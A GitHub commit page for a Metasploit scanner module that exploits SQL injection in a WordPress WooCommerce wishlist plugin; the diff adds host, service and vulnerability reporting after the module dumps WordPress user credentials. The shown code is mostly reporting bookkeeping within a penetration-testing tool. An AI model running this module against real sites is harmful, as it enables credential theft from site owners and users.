Skip to content

Commit

Permalink
Add report_host, report_service and report_vuln
Browse files Browse the repository at this point in the history
  • Loading branch information
Chocapikk committed Oct 3, 2024
1 parent a90214c commit d6b7a4c
Showing 1 changed file with 20 additions and 0 deletions.
20 changes: 20 additions & 0 deletions modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -101,8 +101,28 @@ def run_host(_ip)

if @sqli.test_vulnerable
print_status('SQL Injection successful, retrieving user credentials...')

wordpress_sqli_initialize(@sqli)
wordpress_sqli_get_users_credentials(datastore['COUNT'])

report_host(host: ip)

report_service(
host: ip,
port: rport,
proto: 'tcp',
name: fullname,
info: description.strip
)

report_vuln(
host: ip,
port: rport,
proto: 'tcp',
name: fullname,
refs: references,
info: description.strip
)
else
fail_with(Failure::NotVulnerable, 'Target is not vulnerable to SQL injection.')
end
Expand Down

0 comments on commit d6b7a4c

Please sign in to comment.